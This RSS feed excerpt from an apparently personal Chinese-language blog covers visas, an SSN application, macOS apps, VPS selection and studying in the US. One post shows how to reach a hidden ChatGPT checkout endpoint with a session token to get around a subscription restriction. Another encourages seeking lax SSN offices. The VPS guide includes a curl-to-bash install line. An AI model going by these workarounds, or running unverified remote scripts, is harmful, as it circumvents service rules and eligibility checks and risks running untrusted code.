&lt;li&gt;等待使馆审核（耗时最长，最长可能要 4 周）&lt;/li&gt;
&lt;li&gt;绑定信用卡，等待扣款（绑定之后会扣款 1JPY 验证卡片是否正常，第二个工作日就会扣款）&lt;/li&gt;
&lt;li&gt;完成扣款（3000JPY），出签（完成扣款自动出签）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;申请总结&lt;/h2&gt;
&lt;p&gt;我这一次申请不是很顺利，日本 eVisa 官网的说明是一般会在 5 个工作日左右出签，而从我提交到出签总共耗时 3 周，期间有联系过纽约使馆，纽约使馆给出的解释是由于申请的人数过多，处理会比较慢。据我所知，洛杉机使馆的处理时效大概在 3-5 个工作日。&lt;strong&gt;另外，您不能自己选择领区，F1 签证的学生领区由你的 I-20 决定。&lt;/strong&gt; 另外，我特地发邮件咨询纽约领区是否可以申请 3/5 年签证，纽约使馆明确表示，F1 签证无法申请 3/5 年，只能申请单次。洛杉机/西雅图使馆似乎是可以的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20231208QhXN8v.png&quot; alt=&quot;20231208QhXN8v&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20231208ptS2Z0.png&quot; alt=&quot;20231208ptS2Z0&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://piao.tips/japan-evisa/&quot;&gt;https://piao.tips/japan-evisa/&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Upgrade ChatGPT Plus bypassing restrictions</title><link>https://missuo.me/posts/upgrade-chatgpt-plus/</link><guid isPermaLink="true">https://missuo.me/posts/upgrade-chatgpt-plus/</guid><description>A workaround to subscribe to ChatGPT Plus during the new user restriction period by accessing a hidden checkout endpoint through browser console JavaScript or the invite/accepted URL.</description><pubDate>Fri, 17 Nov 2023 21:10:07 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;在前段时间 ChatGPT 不再允许新用户订阅 ChatGPT Plus 方案，前几天我刷到了一个偷渡升级的方案，发在了我的 Twitter，但是没具体说如何执行这段代码，本篇文章主要就是介绍完整的操作流程。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;如果出现帐号封禁等任何异常的情况，我不承担任何责任，后果自负。如果您担心这样的事情发生，您可以关闭这个页面了。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;最新方案&lt;/h3&gt;
&lt;p&gt;登录帐号，点击 &lt;a href=&quot;https://chat.openai.com/invite/accepted&quot;&gt;https://chat.openai.com/invite/accepted&lt;/a&gt;，会发生奇妙的故事。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;请忽略下面的废话&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;登录帐号&lt;/h3&gt;
&lt;p&gt;直接访问 &lt;a href=&quot;https://chat.openai.com/api/auth/session&quot;&gt;https://chat.openai.com/api/auth/session&lt;/a&gt;，你可以在这里面找到一个 &lt;strong&gt;accessToken&lt;/strong&gt; 的数据。复制 &lt;strong&gt;accessToken&lt;/strong&gt; 的 Value。如果你是小白，不知道怎么找到的话，建议你复制到 &lt;a href=&quot;https://jsonformatter.org&quot;&gt;https://jsonformatter.org&lt;/a&gt; 后查看，或者安装 Chrome 插件 &lt;a href=&quot;https://chrome.google.com/webstore/detail/gbmdgpbipfallnflgajpaliibnhdgobh&quot;&gt;JSON Viewer&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20231117dUCdKY.png&quot; alt=&quot;20231117dUCdKY&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你应该完整的复制 &lt;strong&gt;eyxxxx&lt;/strong&gt; 开头的字符串。&lt;/p&gt;
&lt;h3&gt;补全代码&lt;/h3&gt;
&lt;p&gt;粘贴到 {accessToken} 处，注意不要保留 {}。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;await fetch(&quot;https://chat.openai.com/backend-api/payments/checkout&quot;, {
  method: &quot;POST&quot;,
  headers: {
    &quot;User-Agent&quot;:
      &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36&quot;,
    Authorization: &quot;Bearer {accessToken}&quot;,
  },
  redirect: &quot;follow&quot;,
  referrerPolicy: &quot;no-referrer&quot;,
})
  .then(response =&amp;gt; response.text())
  .then(result =&amp;gt; console.log(result))
  .catch(error =&amp;gt; console.log(&quot;error&quot;, error));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行代码&lt;/h3&gt;
&lt;p&gt;复制完整的代码，打开浏览器，确保这个浏览器已经登录过你的 ChatGPT 帐号，右击选择 &lt;strong&gt;检查元素&lt;/strong&gt;，或者直接按下 &lt;strong&gt;F12&lt;/strong&gt;，选择 &lt;code&gt;Console&lt;/code&gt;，粘贴代码，按下回车。顺利的话会看到生成了一个链接。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20231117sZDlvt.png&quot; alt=&quot;20231117sZDlvt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击这个链接，你就会跳转到熟悉的界面。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20231117ZJpsYv.png&quot; alt=&quot;20231117ZJpsYv&quot; /&gt;&lt;/p&gt;
&lt;p&gt;大胆的输入你的卡片信息即可成功订阅。&lt;/p&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;ChatGPT 官方似乎没有完全关闭订阅通道，这个方案直到美国东部时间(EDT) 2023 年 11 月 17 日 16:25 可行，想要订阅抓紧时间，不要错过机会了。&lt;/p&gt;
</content:encoded></item><item><title>F1 student successfully applied for SSN despite not having any employment</title><link>https://missuo.me/posts/ssn-apply/</link><guid isPermaLink="true">https://missuo.me/posts/ssn-apply/</guid><description>A success story of obtaining an SSN as an F1 student without employment by visiting a rural SSA office, where the agent processed the application without asking about work authorization.</description><pubDate>Fri, 17 Nov 2023 08:00:31 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;SSN 全称 Social Security Number。在美国有了 SSN 以后，会变得方便很多。例如，没有 SSN 的情况下，申请 Driver License 和 State ID 需要出示 &lt;strong&gt;SSN Rejection Letter&lt;/strong&gt;。在没有 SSN 的情况下不能申请大部分的信用卡，包括 Chase、Apple Card 等等。也不能注册美区 Stripe。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;F1 申请 SSN 条件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SS-5: SSN 申请表格&lt;/li&gt;
&lt;li&gt;Passport&lt;/li&gt;
&lt;li&gt;I-94: 证明你是合法进入美国的&lt;/li&gt;
&lt;li&gt;有效的 I-20: 证明你在美国有合法的身份&lt;/li&gt;
&lt;li&gt;地址证明：租房合同，银行卡账单等等&lt;/li&gt;
&lt;li&gt;学校 OIS 出示的介绍信（校内实习工作）或者工作录用的 Offer（校外工作）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;申请经历&lt;/h2&gt;
&lt;p&gt;第一次申请的时候，为了办 &lt;strong&gt;State ID&lt;/strong&gt;，直接跟 SSA 的小哥说，我不要 SSN，我要 SSN Rejection Letter，结果没花两分钟，小哥就打印给我了。&lt;/p&gt;
&lt;p&gt;前几天，同学偶然提起在申请驾照前前往 SSA 要 SSN Rejection Letter 的时候，工作人员直接给他办理了 SSN。我立即询问了哪家 SSA，预约了第二天。今天去 SSA 申请 SSN，提前准备好了 SS-5，Passport，I-94 和 I-20，地址证明我用的 State ID，但是她好像压根没看，没有别的任何材料。&lt;/p&gt;
&lt;p&gt;排了大概有一个小时的队伍，轮到我的时候我直接把一叠材料递过去，她依次摊开，疯狂在电脑上录入各种信息之后，告诉我好了让我回家等信件，给了我一张回执。没有询问任何关于工作的问题。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20231117DbK3ng.jpeg&quot; alt=&quot;20231117DbK3ng&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是似乎上面这种情况，在全美的 SSA 算是比较少见的情况，我为了提高成功率，还特地去的那家同学去过非常非常偏远的 SSA。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;感兴趣的小伙伴可以去试试看，最好找村一点的 SSA，运气不错的话说不定可以申请到，而且 SSN 是跟着你一辈子的，并不会因为你之后离开美国而失效。&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Apps I use on macOS</title><link>https://missuo.me/posts/mac-apps/</link><guid isPermaLink="true">https://missuo.me/posts/mac-apps/</guid><description>A curated list of macOS applications across categories including development tools (iTerm, VSCode, Proxyman), utilities (Alfred, Bartender, Bob), social apps, and browsers with brief descriptions for each.</description><pubDate>Mon, 06 Nov 2023 02:55:41 GMT</pubDate><content:encoded>&lt;h2&gt;Develop&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Asset Catalog Tinkerer&lt;/strong&gt;: Assets 提取工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bakery&lt;/strong&gt;: macOS/iOS App 图标设计工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cleaner for Xcode&lt;/strong&gt;: Xcode 缓存清理工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CodeRunner&lt;/strong&gt;: 精简的代码编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DataGrip&lt;/strong&gt;: 来自 JetBrains 的数据库管理工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Developer&lt;/strong&gt;: Apple Developer App&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DirEqual&lt;/strong&gt;: 目录快速比对工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPG Keychain&lt;/strong&gt;: GPG Keychain&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;iOS App Signer&lt;/strong&gt;: iOS App 签名工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;iTerm&lt;/strong&gt;: 最好用的 Mac 终端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proxyman&lt;/strong&gt;: 最强大的抓包工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PyCharm&lt;/strong&gt;: 来自 JetBrains 的 Python IDE&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RapidAPI&lt;/strong&gt;: API 调试工具，类似于 Postman&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rayon&lt;/strong&gt;: 来自 Lakr233 的 SSH 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ServerCat&lt;/strong&gt;: 来自 Baye 的 Server 监测工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Suspicious Package&lt;/strong&gt;: 强大的 Package 查看工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TablePlus&lt;/strong&gt;: 强大的数据库连接工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Termius&lt;/strong&gt;: 强大的多平台 SSH 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transporter&lt;/strong&gt;: Apple Developer 上传工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;uPic&lt;/strong&gt;: 强大的图片上传工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visual Studio Code&lt;/strong&gt;: 最常用的 IDE&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WakaTime&lt;/strong&gt;: 记录我每天写代码的时间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Xcode&lt;/strong&gt;: Apple 生态的开发工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Xcodes&lt;/strong&gt;: Xcode 下载和多版本管理工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Adobe Photoshop (Beta)&lt;/strong&gt;: 知名的图片编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affinity Photo 2&lt;/strong&gt;: 略微不知名的图片编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alfred 5&lt;/strong&gt;: Spotlight 最好的替代品&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AmorphousDiskMark&lt;/strong&gt;: 磁盘读写测试工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppCleaner&lt;/strong&gt;: App 卸载清理工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apple Configurator&lt;/strong&gt;: Apple 产品固件恢复工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APTV&lt;/strong&gt;: IPTV 播放器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Axchange&lt;/strong&gt;: 来自 Lakr233 的安卓手机文件管理器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BalenaEtcher&lt;/strong&gt;: ISO 刷入工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bartender 5&lt;/strong&gt;: 最好用的 Menu Bar 折叠工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BBackupp&lt;/strong&gt;: 来自 Lakr233 的 iPhone/iPad 自动备份工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BetterDisplay&lt;/strong&gt;: 最好用的虚拟显示器工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bob&lt;/strong&gt;: 强大的翻译和 OCR App&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ChatGPT&lt;/strong&gt;: 好用的 ChatGPT 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare WARP&lt;/strong&gt;: Cloudflare WARP macOS 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coffee Buzz&lt;/strong&gt;: 快速开关休眠策略&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disk Drill&lt;/strong&gt;: 强大的磁盘文件恢复工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Downie 4&lt;/strong&gt;: 强大的视频下载器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dropbox&lt;/strong&gt;: 可靠的网盘&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elmedia Player&lt;/strong&gt;: 强大的视频播放器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elpass&lt;/strong&gt;: 好用的密码管理器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ForkLift&lt;/strong&gt;: MacOS 上最先进的双窗格文件管理器和文件传输客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Drive&lt;/strong&gt;: Google Drive 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GlobalProtect&lt;/strong&gt;: 学校 VPN 工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IINA&lt;/strong&gt;: 强大的视频播放器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;iMazing&lt;/strong&gt;: iPhone/iPad 备份工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Infuse&lt;/strong&gt;: 最好用的视频播放器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;iPreview&lt;/strong&gt;: 文件快速预览工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;iStat Menus&lt;/strong&gt;: 好用的 Mac 状态 Menu Bar 展示工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keka&lt;/strong&gt;: 强大的解压缩工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KeyboardHolder&lt;/strong&gt;: 中英输入法自动切换工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KeyCastr&lt;/strong&gt;: 键盘按键显示工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maccy&lt;/strong&gt;: 简单好用的剪切板历史工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MacZip&lt;/strong&gt;: 好用的 Mac 解压缩工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MakeMKV&lt;/strong&gt;: 好用的原盘 ISO 电影转换为 MKV 工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mimestream&lt;/strong&gt;: 最好用的 Gmail 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mist&lt;/strong&gt;: macOS 系统镜像下载工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MKVToolNix&lt;/strong&gt;: 最好用的 MKV 编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Motrix&lt;/strong&gt;: 强大的多线程下载器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MWeb Pro&lt;/strong&gt;: 好用的 Markdown 编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OBS&lt;/strong&gt;: 强大的录屏推流工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Obsidian&lt;/strong&gt;: 好用的 Markdown 编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Parcel&lt;/strong&gt;: 快递追踪工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PDF Expert&lt;/strong&gt;: 强大的 PDF 查看和编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Photomator&lt;/strong&gt;: 好用的图片编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PlayCover&lt;/strong&gt;: 在 macOS 上运行任何 iOS App&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PopClip&lt;/strong&gt;: 多功能划词工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;qBittorrent&lt;/strong&gt;: PT 下载器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quantumult X&lt;/strong&gt;: 好用的网络抓包调试工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Raycast&lt;/strong&gt;: Spotlight 的另一个替代品&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RustDesk&lt;/strong&gt;: 远程控制工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Speedtest&lt;/strong&gt;: 网速测试工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spotify&lt;/strong&gt;: 好用的音乐播放器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sublime Text&lt;/strong&gt;: 非常简洁的 IDE&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tailscale&lt;/strong&gt;: 组网工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;tinyMediaManager&lt;/strong&gt;: 电影和电视剧刮削工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TopNotch&lt;/strong&gt;: Menu Bar 保持黑色的工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transmit&lt;/strong&gt;: 另一个好用的文件传输工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UltraEdit&lt;/strong&gt;: 优秀的大文件文本编辑器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VPN by Google One&lt;/strong&gt;: Google One VPN 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Xnip&lt;/strong&gt;: 好用的截图工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://zoom.us&quot;&gt;zoom.us&lt;/a&gt;&lt;/strong&gt;: 知名的会议 App&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Social&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Discord&lt;/strong&gt;: 好用的聊天工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kimis&lt;/strong&gt;: 来自 Lakr233 的 Misskey 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maipo&lt;/strong&gt;: 微博客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spring Beta&lt;/strong&gt;: Twitter 客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Telegram&lt;/strong&gt;: Telegram 官方客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twitter&lt;/strong&gt;: Twitter 官方客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VVebo&lt;/strong&gt;: 微博第三方客户端&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WhatsApp&lt;/strong&gt;: 知名的聊天工具&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WeChat&lt;/strong&gt;: 中国大陆最常用的聊天工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Browser&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Chrome&lt;/strong&gt;: 最好用的浏览器没有之一&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Firefox Developer Edition&lt;/strong&gt;: 备用浏览器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Safari&lt;/strong&gt;: 没有什么插件的浏览器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tor Browser&lt;/strong&gt;: 通往神奇网站的浏览器&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Input&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rime&lt;/strong&gt;: 高度自定义的离线输入法&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>How to choose a VPS with fast speed to Mainland China</title><link>https://missuo.me/posts/choose-vps/</link><guid isPermaLink="true">https://missuo.me/posts/choose-vps/</guid><description>A comprehensive guide to selecting VPS providers optimized for China connectivity, covering routing analysis with NextTrace, payment security via PayPal, and recommendations for providers like BandwagonHost, GreenCloudVPS, and HostingInside.</description><pubDate>Fri, 13 Oct 2023 01:43:56 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;从 2019 年开始陆陆续续用过的 VPS 商家可能有 200 家以上，&lt;s&gt;尽管很多已经跑路了&lt;/s&gt;。因为玩 VPS 和 BGP 认识了很多朋友。这篇文章主要针对作为 Proxy Server，别的用途例如建站、存储和跑项目不考虑。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;初步判断&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;选择支持 &lt;strong&gt;PayPal&lt;/strong&gt; 支付的商家，如果存在多种支付方式，建议选择 PayPal 支付。主要是为了防止商家跑路，如果你买的是月付，其实 Alipay 这些付款方式也可以接受，毕竟月付一般情况下最多 10USD 左右。&lt;/li&gt;
&lt;li&gt;足够的流量和带宽，一般情况下个人使用至少有 500G 以上的流量和 500M 以上的带宽才够用。&lt;/li&gt;
&lt;li&gt;IP 的解锁情况，最好可以解锁一些流媒体，但是这不是最重要的，后面我会讲到。&lt;/li&gt;
&lt;li&gt;IP 的路由情况，这是至关重要的，这会直接影响速度，具体的判断后面也会讲到。&lt;/li&gt;
&lt;li&gt;VPS 的配置情况，例如 CPU、硬盘、内存和性能，一般情况下只要不是很烂的 CPU 都不太会影响，硬盘大概有 5G 就够用，如果是 NVMe 当然最好，内存 512M 也够了。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;路由判断&lt;/h2&gt;
&lt;p&gt;因为路由直接影响速度，因此我先讲讲这至关重要的一部分。路由只要分为去程和回程。去程也就是从你的 IP 到达 VPS，回程则是反过来。去程的测试知道 VPS 的 IP 就可以测试，而回程需要使用 VPS，如果有的商家提供 &lt;strong&gt;Looking Glass&lt;/strong&gt; 也可以提前测试。&lt;/p&gt;
&lt;p&gt;在讲具体步骤之前，我希望您可以提前阅读一下我的好朋友 Leo 写的这篇文章——&lt;a href=&quot;https://zhuanlan.zhihu.com/p/161029409&quot;&gt;细数国内到国际的各种线路（VPS 国际线路大全）&lt;/a&gt;，非常详细，您需要配合这篇文章判断您购买的 VPS 的网络是否称得上优秀，或者说适合您本地使用的宽带，您本地使用的是中国移动、中国联通或者中国电信会很大程度影响速度。&lt;/p&gt;
&lt;h3&gt;去程判断&lt;/h3&gt;
&lt;h4&gt;使用 &lt;a href=&quot;https://tools.ipip.net/traceroute.php&quot;&gt;IPIP.NET&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;仅需要选择你当地的运营商的测试节点，输入目标的 IP，即可展示完整的路由。大部分情况下，应该还算是准确。当然，如果你希望获得更可靠的结果，请参考第二种方式。&lt;/p&gt;
&lt;h4&gt;使用 &lt;a href=&quot;https://github.com/nxtrace/NTrace-core&quot;&gt;NextTrace&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;这是一款开源的路由追踪工具，当然在之前有一款叫作 &lt;strong&gt;BestTrace&lt;/strong&gt;。BestTrace 的一些限制让用户会非常难受，因此在两年前我和我的好朋友 &lt;a href=&quot;https://leo.moe&quot;&gt;Leo&lt;/a&gt; 开始有了开发 &lt;a href=&quot;https://github.com/nxtrace/NTrace-core&quot;&gt;NextTrace&lt;/a&gt; 的想法，早期的大部分开发工作几乎都由 Leo 完成，尽管现在因为一些原因，他已经退出了 &lt;a href=&quot;https://github.com/nxtrace/NTrace-core&quot;&gt;NextTrace&lt;/a&gt; 的开发工作。当然我们也有一些新的想法，拭目以待吧！请允许我废话那么多。这款工具的简单用法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew install nexttrace
nexttrace -T [VPS_IP]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;回程判断&lt;/h3&gt;
&lt;p&gt;在 VPS 上使用 &lt;strong&gt;NextTrace&lt;/strong&gt; 查看到你家的路由。例如上海电信：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -c &quot;$(curl http://nexttrace-io-leomoe-api-a0.shop/nt_install_v1.sh)&quot;
nexttrace -T sh.189.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;优化路由&lt;/h2&gt;
&lt;p&gt;玩法有很多，我只说一些简单的。使用支持 WebSocket 的 CDN，例如 Cloudflare、CloudFront 等等。以使用 Cloudflare 为例，在你使用了 Cloudflare 之后，会先到达 Cloudflare 的服务器，再到达 VPS，这可能会改善您本地落网到 VPS 的速度，当然也有可能是减速。高阶的玩法，可以自选 Cloudflare IP。&lt;/p&gt;
&lt;h2&gt;解锁流媒体&lt;/h2&gt;
&lt;p&gt;目前来看，最好的解锁流媒体的方式就是使用 Cloudflare Warp。可以使用这个非常优秀的 &lt;a href=&quot;https://github.com/P3TERX/warp.sh&quot;&gt;安装脚本&lt;/a&gt;。一般情况下，你可以只修改 IPv6 的出站 IP。&lt;/p&gt;
&lt;h2&gt;我使用的 VPS 的一些总结&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我不会提供任何 AFF 链接，意味着您买哪一家我都不会获得任何收益。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;不建议购买 RackNerd 和 CloudCone 这类非常廉价的 VPS，尽管很多人在推荐。我曾经用过一年的 RN，他绝对称不上优秀，唯一的优势可能就是便宜了。在廉价的商家里，我会觉得 BuyVM 会更胜一筹。&lt;/li&gt;
&lt;li&gt;BandwagonHost 是个非常不错的选择，当然非常非常的贵，怀念很多年前只要年付 19.99USD 的 CN2 GIA。他们家的 CN2 GIA 和 BBETC（联通用户） 都不错。&lt;/li&gt;
&lt;li&gt;GreenCloudVPS 我用的最久的商家之一，日本东京的 IIJ 线路非常不错。&lt;/li&gt;
&lt;li&gt;Linode 和 Vultr 这两家差不多，都是知名的大商家，在日本的机器最受欢迎，NTT 线路晚高峰非常慢。当然 Vultr 可以白嫖免费的 VPS，我在用西雅图的。&lt;/li&gt;
&lt;li&gt;DigitalOcean 也是一家大商家，移动用户可以值得一试新加坡地区。&lt;/li&gt;
&lt;li&gt;HostingInside 是一家台湾的商家，老板是我的好朋友，大陆优化的 TWGate 绝对是台湾到大陆最好的线路之一。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Decided to study in the United States</title><link>https://missuo.me/posts/study-in-the-us/</link><guid isPermaLink="true">https://missuo.me/posts/study-in-the-us/</guid><description>A personal narrative of pursuing a CS master&apos;s degree in the US, from initial inspiration via Clubhouse conversations to TOEFL/GRE preparation, application process, and early observations on the challenging tech job market for international students.</description><pubDate>Thu, 12 Oct 2023 03:46:46 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;截止到写这篇文章，已经在美国接近两个月左右的时间了。其实早就该写这篇文章了，一直没想好怎么写，就拖到了现在。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;契机&lt;/h2&gt;
&lt;p&gt;我本科读的专业是 CS 4+1 的项目，也就是说四年本科读完之后，可以去美国继续读一年，就可以获得硕士的学位。因为是合作的项目，学费和录取条件都比较低，除此之外时间也非常短，因为有几门美国学校的课程可以充当本科的学分，也可以充当研究生课程的学分。但是其实从大一开始也没有很强烈的想法去美国参加这个 4+1 的项目，主要的原因就是觉得合作的学校排名太一般了。&lt;/p&gt;
&lt;p&gt;直到 20 年的差不多寒假后，那时候疫情刚刚爆发。有一款很火的软件上线，叫作 &lt;strong&gt;Clubhouse&lt;/strong&gt;，当然这款软件也是昙花一现，现在几乎是没有人使用了。这是一款语音聊天室的软件，任何人可以选择进入感兴趣的聊天室，可以倾听别人发言，当然也可以申请上麦发言，当时我在家上网课的阶段，每天就是玩这个软件。那时候这个软件上有很大一部分人都在北美，或者英国，当然国内的也有。有好几个在美国做程序员的前辈，咨询了一下在美国找程序员工作前景如何，他们当时的说法是 Amazon 基本上是所有应届生都先会去的地方，然后干两三年之后跳巢，因为 Amazon 很好进，招的人特别多。&lt;/p&gt;
